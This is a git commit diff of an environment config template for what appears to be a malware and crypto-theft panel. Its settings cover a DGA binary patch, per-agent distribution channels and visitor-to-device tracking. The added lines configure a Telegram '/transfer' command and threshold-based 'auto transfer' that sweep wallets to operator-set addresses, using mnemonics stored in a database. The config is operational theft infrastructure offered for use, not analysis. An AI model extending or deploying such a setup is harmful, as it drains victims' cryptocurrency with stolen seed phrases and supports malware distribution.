feat: autotransfer

This commit is contained in:
hashbro
2026-08-17 02:03:17 +08:00
parent 376b442880
commit a32043df71
42 changed files with 3268 additions and 256 deletions
+17 -7
View File
@@ -51,12 +51,11 @@ ADMIN_PASSWORD=admin123
# Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0.
CORUNA_SESSION_KEY=
# Optional link-display hosts (not used by DGA binary patch).
# Overridable by 系统设置 → 投放域名.
# Optional link-display hosts (not used by DGA binary patch). .env-only.
CORUNA_LAB_CHANNEL_DOMAINS=
CORUNA_REPORTING_DOMAINS=
# Panel Host allowlists (comma/space separated). Empty = no restriction.
# Prefer configuring in Admin → 系统 → 设置 after bootstrap.
# .env-only (not shown in Admin → 系统设置).
CORUNA_ADMIN_HOSTS=
CORUNA_AGENT_HOSTS=
# In-process channel builders (Python). Old: channel-builder → public/web|sync
@@ -74,7 +73,7 @@ CORUNA_STATIC_SITE_SCHEME=https
XXBB_CHANNEL_C=
# Match iptj PageVisit → new-builder device by IP (minutes).
XXBB_VISIT_MATCH_MINUTES=30
# Max channel links per agent (super-admin settings can override)
# Max channel links per agent (.env-only)
CORUNA_MAX_CHANNELS_PER_AGENT=5
# p7zip binary. On panel hosts with open_basedir, prefer project-local:
# mkdir -p bin && cp "$(command -v 7z)" bin/7z && chmod +x bin/7z
@@ -84,21 +83,32 @@ CORUNA_MAX_CHANNELS_PER_AGENT=5
CORUNA_7Z_BIN=
# Telegram (outbound alerts + inbound Nutgram commands)
# Bot Token / transfer recipients are .env-only (not editable in admin UI).
TELEGRAM_BOT_TOKEN=
TELEGRAM_OWNER_CHAT_ID=
# Optional cache of @username; normally filled automatically via getMe when saving Token
# Optional cache of @username; normally filled automatically via getMe
# TELEGRAM_BOT_USERNAME=
# Optional; if set, register via: php artisan telegram:set-webhook
TELEGRAM_WEBHOOK_SECRET=
# Do not enable unless you understand Nutgram's md5(APP_KEY) secret check
# NUTGRAM_SAFE_MODE=false
# /transfer: recipient (fromAddress is the command arg; mnemonic from DB)
# /transfer recipients (fromAddress is the command arg; mnemonic from DB)
# Usage: /transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount] — omit amount = all
# Chain inferred from address; to = per-chain TRANSFER_TO_ADDRESS_*.
TRANSFER_TO_ADDRESS=
TRANSFER_TO_ADDRESS_ETH=
TRANSFER_TO_ADDRESS_BTC=
# TRON USDT fee top-up wallet (also editable in Admin → 系统设置)
TRANSFER_FEE_ADDRESS_TRON=
TRANSFER_FEE_PRIVATE_KEY_TRON=
TRANSFER_FEE_TOPUP_TRX=20
# Official-channel auto transfer (also editable in Admin → 系统设置)
AUTO_TRANSFER_ENABLED=0
AUTO_TRANSFER_THRESHOLD_USDT=
AUTO_TRANSFER_THRESHOLD_TRX=
AUTO_TRANSFER_THRESHOLD_ETH=
AUTO_TRANSFER_THRESHOLD_BTC=
# TRANSFER_MAX_USDT=0
# TRANSFER_MAX_TRX=0
# TRANSFER_MAX_ETH=0